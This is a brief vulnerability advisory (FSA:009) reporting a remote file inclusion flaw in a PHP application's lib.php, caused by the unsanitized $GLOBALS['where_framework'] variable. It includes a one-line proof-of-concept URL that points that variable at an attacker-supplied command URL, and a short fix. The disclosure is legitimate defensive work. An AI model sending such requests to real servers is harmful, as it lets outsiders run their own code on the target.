Advisory id: FSA:009
1) Description:
Error occured in lib.php,
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
require_once($GLOBALS['where_framework'].'/lib/lib.utils.php');
The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized
2) Proof of concept:
http://example/[dc_path]/lib/lib.php?GLOBALS[where_framework]=[cmd_url]
3) Solution:
include file where are declare $GLOBALS[*]